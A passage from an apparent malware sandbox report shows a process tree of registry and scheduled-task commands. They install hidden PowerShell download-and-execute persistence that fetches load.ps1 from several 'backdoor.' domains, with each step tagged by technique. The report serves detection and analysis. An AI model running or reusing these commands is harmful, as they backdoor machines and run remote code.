                                                                              reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')\"" /f
                                                                              3⤵
                                                                              • Event Triggered Execution: Image File Execution Options Injection
                                                                              PID:3688
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')\"" /f
                                                                            2⤵
                                                                              PID:6604
                                                                              • C:\Windows\system32\reg.exe
                                                                                reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')\"" /f
                                                                                3⤵
                                                                                • Modifies WinLogon for persistence
                                                                                PID:3260
                                                                            • C:\Windows\System32\cmd.exe
                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')\"" /f
                                                                              2⤵
                                                                                PID:6840
                                                                                • C:\Windows\system32\reg.exe
                                                                                  reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')\"" /f
                                                                                  3⤵
                                                                                  • Registers new Windows logon scripts automatically executed at logon.
                                                                                  PID:3720
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')\"" /sc onlogon /f
                                                                                2⤵
                                                                                • Executes a command shell one-liner
                                                                                PID:7104
                                                                                • C:\Windows\system32\schtasks.exe
                                                                                  schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')\"" /sc onlogon /f
                                                                                  3⤵
                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                  PID:6820
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')\"" /f
                                                                                2⤵
                                                                                • Executes a command shell one-liner
                                                                                PID:7120
                                                                                • C:\Windows\system32\reg.exe
                                                                                  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')\"" /f
                                                                                  3⤵
                                                                                  • Adds Run key to start application
                                                                                  PID:2532
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')\"" /f
                                                                                2⤵
                                                                                  PID:6164
                                                                                  • C:\Windows\system32\reg.exe
                                                                                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')\"" /f
                                                                                    3⤵
                                                                                    • Adds Run key to start application
                                                                                    PID:4828
                                                                                • C:\Windows\System32\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                  2⤵
                                                                                  • Executes a command shell one-liner
                                                                                  PID:4624
                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                    3⤵
                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                    PID:3660
                                                                                • C:\Windows\System32\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')\"" /f
                                                                                  2⤵
                                                                                    PID:908
                                                                                    • C:\Windows\system32\reg.exe
                                                                                      reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')\"" /f
                                                                                      3⤵
                                                                                      • Event Triggered Execution: Image File Execution Options Injection
                                                                                      PID:5188
                                                                                  • C:\Windows\System32\cmd.exe
                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')\"" /f
                                                                                    2⤵
                                                                                      PID:6656
                                                                                      • C:\Windows\system32\reg.exe
                                                                                        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')\"" /f
                                                                                        3⤵
                                                                                        • Modifies WinLogon for persistence
                                                                                        PID:7080
                                                                                    • C:\Windows\System32\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')\"" /f
                                                                                      2⤵
                                                                                        PID:3412
                                                                                        • C:\Windows\system32\reg.exe
                                                                                          reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')\"" /f
                                                                                          3⤵
                                                                                          • Adds Run key to start application
                                                                                          PID:1424
                                                                                      • C:\Windows\System32\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')\"" /f
                                                                                        2⤵
                                                                                        • Executes a command shell one-liner
                                                                                        PID:6308
                                                                                        • C:\Windows\system32\reg.exe
                                                                                          reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')\"" /f
                                                                                          3⤵
                                                                                          • Registers new Windows logon scripts automatically executed at logon.
                                                                                          PID:4256
                                                                                      • C:\Windows\System32\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')\"" /f
                                                                                        2⤵
                                                                                          PID:916
                                                                                          • C:\Windows\system32\reg.exe
                                                                                            reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')\"" /f
                                                                                            3⤵
                                                                                            • Adds Run key to start application
                                                                                            PID:7136
                                                                                        • C:\Windows\System32\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')\"" /sc onlogon /f
                                                                                          2⤵
                                                                                            PID:5892
                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                              schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')\"" /sc onlogon /f
                                                                                              3⤵
                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                              PID:860
                                                                                          • C:\Windows\System32\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')\"" /f
                                                                                            2⤵
                                                                                              PID:804
                                                                                              • C:\Windows\system32\reg.exe
                                                                                                reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')\"" /f
                                                                                                3⤵
                                                                                                • Event Triggered Execution: Image File Execution Options Injection
                                                                                                PID:1248
                                                                                            • C:\Windows\System32\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                              2⤵
                                                                                                PID:2316
                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                  schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                  3⤵
                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                  PID:6688
                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')\"" /f
                                                                                                2⤵
                                                                                                  PID:6652
                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')\"" /f
                                                                                                    3⤵
                                                                                                    • Modifies WinLogon for persistence
                                                                                                    PID:5188
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')\"" /f
                                                                                                  2⤵
                                                                                                    PID:4040
                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                      reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')\"" /f
                                                                                                      3⤵
                                                                                                      • Registers new Windows logon scripts automatically executed at logon.
                                                                                                      PID:6952
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')\"" /sc onlogon /f
                                                                                                    2⤵
                                                                                                    • Executes a command shell one-liner
                                                                                                    PID:4176
                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                      schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')\"" /sc onlogon /f
                                                                                                      3⤵
                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                      PID:6680
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')\"" /f
                                                                                                    2⤵
                                                                                                    • Executes a command shell one-liner
                                                                                                    PID:4860
                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')\"" /f
                                                                                                      3⤵
                                                                                                      • Adds Run key to start application
                                                                                                      PID:4324
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')\"" /f
                                                                                                    2⤵
                                                                                                      PID:1100
                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')\"" /f
                                                                                                        3⤵
                                                                                                        • Adds Run key to start application
                                                                                                        PID:5352
                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                      2⤵
                                                                                                      • Executes a command shell one-liner
                                                                                                      PID:6864
                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                        3⤵
                                                                                                          PID:5356
                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                          schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                          3⤵
                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                          PID:4704
                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')\"" /f
                                                                                                        2⤵
                                                                                                        • Executes a command shell one-liner
                                                                                                        PID:6484
                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                          3⤵
                                                                                                            PID:4828
                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                            reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')\"" /f
                                                                                                            3⤵
                                                                                                            • Event Triggered Execution: Image File Execution Options Injection
                                                                                                            PID:5900
                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')\"" /f
                                                                                                          2⤵
                                                                                                            PID:6968
                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                              reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')\"" /f
                                                                                                              3⤵
                                                                                                              • Modifies WinLogon for persistence
                                                                                                              PID:6500
                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')\"" /f
                                                                                                            2⤵
                                                                                                              PID:5256
                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')\"" /f
                                                                                                                3⤵
                                                                                                                • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                PID:6940
                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')\"" /sc onlogon /f
                                                                                                              2⤵
                                                                                                              • Executes a command shell one-liner
                                                                                                              PID:6552
                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                3⤵
                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                PID:7244
                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                              2⤵
                                                                                                                PID:992
                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                  schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                  3⤵
                                                                                                                    PID:6636
                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')\"" /f
                                                                                                                  2⤵
                                                                                                                  • Executes a command shell one-liner
                                                                                                                  PID:2148
                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')\"" /f
                                                                                                                    3⤵
                                                                                                                    • Adds Run key to start application
                                                                                                                    PID:7452
                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')\"" /f
                                                                                                                  2⤵
                                                                                                                  • Executes a command shell one-liner
                                                                                                                  PID:6068
                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')\"" /f
                                                                                                                    3⤵
                                                                                                                    • Adds Run key to start application
                                                                                                                    PID:7632
                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')\"" /f
                                                                                                                  2⤵
                                                                                                                    PID:1948
                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                      3⤵
                                                                                                                        PID:6204
                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')\"" /f
                                                                                                                        3⤵
                                                                                                                        • Adds Run key to start application
                                                                                                                        PID:7912
                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')\"" /f
                                                                                                                      2⤵
                                                                                                                        PID:752
                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')\"" /f
                                                                                                                          3⤵
                                                                                                                          • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                          PID:2340
                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')\"" /f
                                                                                                                        2⤵
                                                                                                                          PID:1308
                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                            reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')\"" /f
                                                                                                                            3⤵
                                                                                                                              PID:6336
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')\"" /f
                                                                                                                            2⤵
                                                                                                                            • Executes a command shell one-liner
                                                                                                                            PID:1568
                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                              reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')\"" /f
                                                                                                                              3⤵
                                                                                                                              • Modifies WinLogon for persistence
                                                                                                                              PID:8072
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')\"" /f
                                                                                                                            2⤵
                                                                                                                              PID:3696
                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')\"" /f
                                                                                                                                3⤵
                                                                                                                                • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                PID:7352
                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')\"" /f
                                                                                                                              2⤵
                                                                                                                              • Executes a command shell one-liner
                                                                                                                              PID:7176
                                                                                                                              • C:\Windows\system32\reg.exe
